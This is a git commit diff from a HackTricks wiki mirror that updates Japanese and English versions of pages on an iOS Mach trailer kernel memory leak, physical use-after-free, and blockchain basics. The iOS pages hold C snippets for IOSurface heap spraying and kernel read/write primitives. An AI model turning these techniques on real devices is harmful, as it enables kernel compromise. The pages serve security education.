mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_
This commit is contained in:
parent
b89e4077a4
commit
39dd077c7f
@ -81,6 +81,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -769,7 +770,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -846,7 +847,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +895,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 脆弱性の説明
|
||||
## 脆弱性
|
||||
|
||||
こちらに[great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)がありますが、要約すると:
|
||||
詳しい説明は [ここ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) にありますが、要約すると:
|
||||
|
||||
カーネルが受信するすべての Mach message は **"trailer"** で終わります:これはメタデータ(seqno、sender token、audit token、context、access control data、labels...)を持つ可変長の構造体です。カーネルはメッセージバッファ内で **常に最大の trailer(MAX_TRAILER_SIZE)を予約** しますが、**一部のフィールドしか初期化しません**。その後、**ユーザが制御する受信オプション** に基づいて返す trailer のサイズを**決定します**。
|
||||
カーネルが受け取るすべての Mach message は末尾に **"trailer"** が付きます:これはメタデータ(seqno、sender token、audit token、context、access control data、labels...)を持つ可変長の構造体です。カーネルはメッセージバッファ内に **常に最大の trailer(MAX_TRAILER_SIZE)を確保** しますが、**初期化されるのは一部のフィールドだけ**で、後になって **ユーザー制御の受信オプションに基づいて返す trailer のサイズを決めます**。
|
||||
|
||||
These are the trailer relevant structs:
|
||||
以下は trailer に関連する構造体です:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
その後、trailer オブジェクトが生成されると、一部のフィールドのみが初期化され、最大 trailer サイズが常に確保されます:
|
||||
次に、trailer オブジェクトが生成されると、一部のフィールドのみが初期化され、最大トレーラーサイズは常に確保されます:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
例えば、`mach_msg()` を使って Mach メッセージを読み取ろうとすると、メッセージに trailer を追加するために `ipc_kmsg_add_trailer()` が呼び出されます。この関数内で trailer のサイズが計算され、他のいくつかの trailer フィールドが設定されます:
|
||||
例えば、`mach_msg()` を使って Mach メッセージを読み取ろうとすると、トレーラーをメッセージに追加するために `ipc_kmsg_add_trailer()` が呼び出されます。この関数内でトレーラーのサイズが計算され、他のいくつかのトレーラーフィールドが埋められます:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
@ -51,7 +51,7 @@ trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
`option` パラメータはユーザー制御されているため、**`if` チェックを通過する値を渡す必要があります。**
|
||||
`option` パラメータはユーザー制御可能なので、**`if` チェックを満たす値を渡す必要があります。**
|
||||
|
||||
このチェックを通過するには、サポートされている有効な `option` を送信する必要があります:
|
||||
```c
|
||||
@ -67,9 +67,9 @@ trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
しかし、`MACH_RCV_TRAILER_MASK` は単にビットをチェックしているだけなので、`0` から `8` の間の任意の値を渡して `if` 文の中に入らないようにできます。
|
||||
しかし、`MACH_RCV_TRAILER_MASK` は単にビットをチェックしているだけなので、`0` と `8` の間の任意の値を渡して `if` 文の中に入らないようにできます。
|
||||
|
||||
その後、コードを読み進めると次のような箇所が見つかります:
|
||||
その後、コードを読み進めると次のような箇所が見つかります:
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
@ -92,33 +92,21 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
|
||||
ここでは `option` が `MACH_RCV_TRAILER_AV` (7) 以上の場合、フィールド **`msgh_ad`** が `0` に初期化されるのが分かる。
|
||||
|
||||
ご覧のとおり、`option` が `MACH_RCV_TRAILER_AV` (7) 以上の場合、フィールド **`msgh_ad`** は `0` に初期化されます。
|
||||
ご覧のとおり、**`msgh_ad`** は以前に初期化されていなかったトレーラーの唯一のフィールドであり、以前に使われたメモリからの leak を含んでいる可能性がある。
|
||||
|
||||
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
|
||||
|
||||
ご注意のように、**`msgh_ad`** はトレーラの中で以前はまだ初期化されていない唯一のフィールドであり、以前使用されていたメモリからの leak を含む可能性がありました。
|
||||
|
||||
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
|
||||
|
||||
したがって、これを初期化させない方法は、`option` に `5` または `6` を渡すことです。そうすれば最初の if チェックを通過し、**`msgh_ad`** を初期化する if ブロックに入らなくなります。なぜなら `5` と `6` には関連するトレーラタイプが存在しないからです。
|
||||
したがって、それを初期化させない方法は、`option` に `5` または `6` を渡すことだ。そうすると最初の `if` チェックを通過し、`msgh_ad` を初期化する `if` に入らない。なぜなら `5` と `6` はどのトレーラータイプにも対応していないからだ。
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||||
|
||||
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には、ランダムなデータを単に leak する PoC が掲載されています。
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||||
|
||||
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には kernel address を leak する PoC もあります。これは、メッセージに `mach_msg_port_descriptor_t` 構造体を大量に詰めて送信することで実現します。userland ではこの構造体の `name` フィールドは `unsigned int` ですが、kernel では `name` フィールドは `struct ipc_port` のポインタです。したがって、これらの構造体を多数送信するとメッセージ内に **複数の kernel addresses が追加され**、そのうちの一つが leak される可能性があります。
|
||||
|
||||
Commetns were added for better understanding:
|
||||
|
||||
理解を助けるためにコメントを追加しました:
|
||||
理解を助けるためにコメントを追加した:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -338,7 +326,7 @@ return 0;
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
- [Synacktiv のブログ記事](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
- [Synacktivのブログ記事](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -16,92 +16,95 @@
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
ユーザプロセスの**仮想メモリ空間**は iOS では **0x0 から 0x8000000000** までに広がっています。しかし、これらのアドレスは物理メモリに直接対応しているわけではありません。代わりに、**カーネル**は **page tables** を使って仮想アドレスを実際の**物理アドレス**へ変換します。
|
||||
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Page table は階層構造で、3 レベルに分かれています:
|
||||
Page tables are organized hierarchically in three levels:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* ここにある各エントリは大きな仮想メモリ領域を表します。
|
||||
* 1 エントリは **0x1000000000 バイト**(= **256 GB**)の仮想メモリをカバーします。
|
||||
* Each entry here represents a large range of virtual memory.
|
||||
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* ここでのエントリはより小さな領域、具体的には **0x2000000 バイト**(= 32 MB)を表します。
|
||||
* L1 のエントリは全体を直接マップできない場合、L2 テーブルを指すことがあります。
|
||||
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
|
||||
* An L1 entry may point to an L2 table if it can't map the entire region itself.
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* 最も細かいレベルで、各エントリが単一の **4 KB** ページをマップします。
|
||||
* より細かい制御が必要な場合、L2 エントリは L3 テーブルを指すことがあります。
|
||||
* This is the finest level, where each entry maps a single **4 KB** memory page.
|
||||
* An L2 entry may point to an L3 table if more granular control is needed.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* page table のいくつかのエントリは、仮想アドレスの範囲を連続する物理アドレスの範囲に直接**マップ**します(ショートカットのようなもの)。
|
||||
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
|
||||
* **Pointer to Child Page Table**:
|
||||
* より細かい制御が必要な場合、あるレベルのエントリ(例えば L1)が次レベルの**子ページテーブル**(例えば L2)を指すことがあります。
|
||||
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
仮に仮想アドレス **0x1000000000** にアクセスしようとすると:
|
||||
Let’s say you try to access the virtual address **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* カーネルはこの仮想アドレスに対応する L1 エントリをチェックします。もし **L2 page table を指すポインタ**があれば、L2 テーブルへ進みます。
|
||||
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
|
||||
2. **L2 Table**:
|
||||
* カーネルはより詳細なマッピングのために L2 エントリをチェックします。もしこのエントリが **L3 page table を指す**なら、さらに L3 へ進みます。
|
||||
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
|
||||
3. **L3 Table**:
|
||||
* 最終的な L3 エントリを参照し、それが実際のメモリページの**物理アドレス**を指します。
|
||||
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
もし L2 テーブルの最初のインデックスに物理アドレス **0x800004000** を書き込んだ場合:
|
||||
If you write the physical address **0x800004000** into the first index of the L2 table, then:
|
||||
|
||||
* 仮想アドレス **0x1000000000** から **0x1002000000** までは、物理アドレス **0x800004000** から **0x802004000** へマップされます。
|
||||
* これは L2 レベルでの**block mapping**です。
|
||||
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
|
||||
* This is a **block mapping** at the L2 level.
|
||||
|
||||
代わりに、L2 エントリが L3 テーブルを指す場合:
|
||||
Alternatively, if the L2 entry points to an L3 table:
|
||||
|
||||
* 仮想アドレス範囲 **0x1000000000 -> 0x1002000000** の各 4 KB ページは L3 テーブルの個別のエントリによってマップされます。
|
||||
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
「physical use-after-free (UAF)」は次のような状態が起きたときに発生します:
|
||||
A **physical use-after-free** (UAF) occurs when:
|
||||
|
||||
1. プロセスがあるメモリを **readable and writable** として **割り当てる**。
|
||||
2. カーネルはそのメモリを特定の物理アドレスにアクセス可能としてマッピングするために **page tables** を更新する。
|
||||
3. プロセスがそのメモリを **解放(free)** する。
|
||||
4. しかし、バグによりカーネルは対応する物理メモリを **free とマークする** 一方で、page tables からそのマッピングを**削除し忘れる**。
|
||||
5. カーネルはその「解放された」物理メモリを別の目的、例えば **カーネルデータ** のために **再割り当て** することができる。
|
||||
6. マッピングが残っているため、プロセスはまだこの物理メモリを **read/write** できてしまう。
|
||||
1. A process **allocates** some memory as **readable and writable**.
|
||||
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
|
||||
3. The process **deallocates** (frees) the memory.
|
||||
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
|
||||
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
|
||||
6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory.
|
||||
|
||||
つまりプロセスは**カーネルメモリのページ**へアクセスできる状態になり得ます。そこには機密データや構造体が含まれている可能性があり、攻撃者にカーネルメモリを**操作**させることができます。
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
|
||||
### IOSurface Heap Spray
|
||||
|
||||
攻撃者はどのカーネルページが解放されたメモリに割り当てられるかを制御できないため、次のような**heap spray** 技法を使います:
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
1. 攻撃者はカーネルメモリ内に多数の IOSurface オブジェクトを**作成**する。
|
||||
2. 各 IOSurface オブジェクトは識別しやすい**magic value** をそのフィールドの一つに持たせておく。
|
||||
3. 攻撃者は解放されたページを**スキャン**して、これらの IOSurface オブジェクトが解放ページに配置されていないか確認する。
|
||||
4. 解放ページ上で IOSurface オブジェクトを見つけたら、それを使って**カーネルメモリの読み書き**が可能になる。
|
||||
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
|
||||
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
|
||||
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
|
||||
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
|
||||
|
||||
この手法の詳細は [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) を参照してください。
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> iOS 16+ (A12+) デバイスは PPL や SPTM のようなハードウェア緩和策を導入しており、physical UAF 手法をはるかに実行困難にしています。PPL は code signing、entitlements、機密なカーネルデータに関するページに対して厳格な MMU 保護を強制するため、たとえページが再利用されても userland や侵害されたカーネルコードからの書き込みはブロックされます。Secure Page Table Monitor (SPTM) は PPL を拡張し、ページテーブルの更新自体を強化します。これにより、特権カーネルコードであってもマッピングを黙って書き換えたり再マップしたりすることはできなくなります。KTRR はカーネルのコード領域をブート後に読み取り専用としてロックするため、物理 UAF エクスプロイトが依存しがちなランタイムでのコード修正を防ぎます。さらに、`IOSurface` の割り当ては予測しにくくなり、user-accessible な領域に入るのが難しくなっており、いわゆる「magic value スキャン」トリックの信頼性は低下しています。また `IOSurface` は現在 entitlements や sandbox 制限によっても保護されています。
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: 攻撃者は特別な識別子("magic value")を持つ多数の IOSurface オブジェクトを作成する。
|
||||
2. **Scan Freed Pages**: 解放されたページの中にオブジェクトが割り当てられていないか確認する。
|
||||
3. **Read/Write Kernel Memory**: IOSurface オブジェクトのフィールドを操作することで、カーネルメモリに対する **arbitrary reads and writes** を実現する。これにより:
|
||||
* あるフィールドを使って **カーネルメモリ中の任意の 32-bit 値を読む** ことができる。
|
||||
* 別のフィールドを使って **64-bit 値を書き込む** ことができ、安定した **kernel read/write primitive** を得られる。
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
|
||||
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
|
||||
* Use one field to **read any 32-bit value** in kernel memory.
|
||||
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
@ -124,7 +127,7 @@ io_connect_t id = result.surface_id;
|
||||
}
|
||||
}
|
||||
```
|
||||
解放された1つの物理ページ内で **`IOSurface`** オブジェクトを検索する:
|
||||
1つの解放された物理ページで**`IOSurface`**オブジェクトを検索する:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
@ -158,25 +161,25 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### IOSurface を用いたカーネルの読み書き実現
|
||||
### IOSurfaceを使ったカーネルの読み書きの実現
|
||||
|
||||
kernel memory 内の IOSurface オブジェクトを制御できるようになった後(userspace からアクセス可能な freed physical page にマップされている状態)、それを **arbitrary kernel read and write operations** に利用できます。
|
||||
カーネルメモリ上のIOSurfaceオブジェクト(userspaceからアクセス可能な解放済み物理ページにマップされている)を制御できるようになったら、これを用いて**任意のカーネル読み書き操作**が可能になる。
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
|
||||
IOSurface オブジェクトには重要なフィールドが二つあります:
|
||||
IOSurfaceオブジェクトには重要なフィールドが2つある:
|
||||
|
||||
1. **Use Count Pointer**: **32-bit read** を可能にします。
|
||||
2. **Indexed Timestamp Pointer**: **64-bit write** を可能にします。
|
||||
1. **Use Count Pointer**: **32-bit read** を可能にする。
|
||||
2. **Indexed Timestamp Pointer**: **64-bit write** を可能にする。
|
||||
|
||||
これらのポインタを書き換えることで、任意の kernel memory 上のアドレスにリダイレクトし、読み書きを可能にします。
|
||||
これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスへ向け直し、読み書き機能を有効化できる。
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
読み取りを行う手順:
|
||||
読み取りを行うには:
|
||||
|
||||
1. **use count pointer** を上書きし、ターゲットアドレスから 0x14 バイト分引いたアドレスを指すようにします。
|
||||
2. `get_use_count` メソッドを使用して、そのアドレスの値を読み取ります。
|
||||
1. **use count pointer** をターゲットアドレスから0x14バイト差し引いたアドレスを指すように上書きする。
|
||||
2. `get_use_count` メソッドを使って、そのアドレスの値を読み取る。
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -198,8 +201,8 @@ return value;
|
||||
|
||||
書き込みを行うには:
|
||||
|
||||
1. ターゲットアドレスに**indexed timestamp pointer**を上書きする。
|
||||
2. `set_indexed_timestamp`メソッドを使って64ビット値を書き込む。
|
||||
1. ターゲットアドレスに**indexed timestamp pointer**を書き換える。
|
||||
2. `set_indexed_timestamp` メソッドを使って64ビット値を書き込む。
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
@ -213,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### エクスプロイトの流れ(要約)
|
||||
#### Exploit フローの要約
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: 解放されたページが再利用可能になる。
|
||||
2. **Spray IOSurface Objects**: カーネルメモリに一意の「magic value」を埋めた多数のIOSurfaceオブジェクトを割り当てる。
|
||||
3. **Identify Accessible IOSurface**: 自分が制御する解放済みページ上のIOSurfaceを特定する。
|
||||
4. **Abuse Use-After-Free**: IOSurfaceオブジェクト内のポインタを改ざんし、IOSurfaceのメソッド経由で任意の **kernel read/write** を可能にする。
|
||||
2. **Spray IOSurface Objects**: 多数の IOSurface オブジェクトを割り当て、カーネルメモリにユニークな "magic value" を配置する。
|
||||
3. **Identify Accessible IOSurface**: 自分で制御する解放済みページ上の IOSurface を特定する。
|
||||
4. **Abuse Use-After-Free**: IOSurface オブジェクト内のポインタを改変し、IOSurface のメソッド経由で任意の **kernel read/write** を可能にする。
|
||||
|
||||
これらのプリミティブにより、エクスプロイトはカーネルメモリに対する制御された **32-bit reads** と **64-bit writes** を提供する。さらに進んだ jailbreak のステップでは、より安定した read/write primitives が必要になる場合があり、追加の保護(例: 新しい arm64e デバイスでの PPL)を回避する必要がある。
|
||||
これらのプリミティブにより、エクスプロイトはカーネルメモリへの制御された **32-bit reads** と **64-bit writes** を提供する。さらなる jailbreak ステップでは、より安定した read/write プリミティブが必要になり、追加の保護(例: 新しい arm64e デバイスの PPL)の回避が必要になる場合がある。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,176 +1,178 @@
|
||||
# Blockchain and Crypto-Currencies
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本概念
|
||||
## Basic Concepts
|
||||
|
||||
- **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、中介者なしで合意の実行を自動化します。
|
||||
- **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。
|
||||
- **トークンとコイン**は、コインがデジタルマネーとして機能するのに対し、トークンは特定の文脈での価値や所有権を表します。
|
||||
- **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。
|
||||
- **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。
|
||||
- **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。
|
||||
- **Smart Contracts** は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムであり、仲介者なしで合意の実行を自動化します。
|
||||
- **Decentralized Applications (dApps)** はスマートコントラクトを基盤とし、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを備えます。
|
||||
- **Tokens & Coins** は区別され、coins はデジタル通貨としての役割を果たし、tokens は特定のコンテキストでの価値や所有権を表します。
|
||||
- **Utility Tokens** はサービスへのアクセスを付与し、**Security Tokens** は資産の所有権を示します。
|
||||
- **DeFi** は分散型金融を指し、中央当局なしで金融サービスを提供します。
|
||||
- **DEX** と **DAOs** はそれぞれ Decentralized Exchange Platforms(分散型取引所)と Decentralized Autonomous Organizations(分散型自律組織)を指します。
|
||||
|
||||
## コンセンサスメカニズム
|
||||
## Consensus Mechanisms
|
||||
|
||||
コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します:
|
||||
コンセンサスメカニズムは、ブロックチェーン上で取引の検証を安全かつ合意的に行うことを保証します:
|
||||
|
||||
- **プルーフ・オブ・ワーク (PoW)**は、取引の検証に計算能力を依存します。
|
||||
- **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保有することを要求し、PoWに比べてエネルギー消費を削減します。
|
||||
- **Proof of Work (PoW)** は取引検証に計算資源を依存します。
|
||||
- **Proof of Stake (PoS)** は検証者が一定量のトークンを保有することを要求し、PoW と比べてエネルギー消費を削減します。
|
||||
|
||||
## ビットコインの基本
|
||||
## Bitcoin Essentials
|
||||
|
||||
### 取引
|
||||
### Transactions
|
||||
|
||||
ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。
|
||||
Bitcoin のトランザクションはアドレス間で資金を移転することを伴います。トランザクションはデジタル署名によって検証され、秘密鍵の所有者だけが送金を開始できることを保証します。
|
||||
|
||||
#### 主要コンポーネント:
|
||||
#### Key Components:
|
||||
|
||||
- **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。
|
||||
- 取引は**入力**(資金の出所)、**出力**(宛先)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。
|
||||
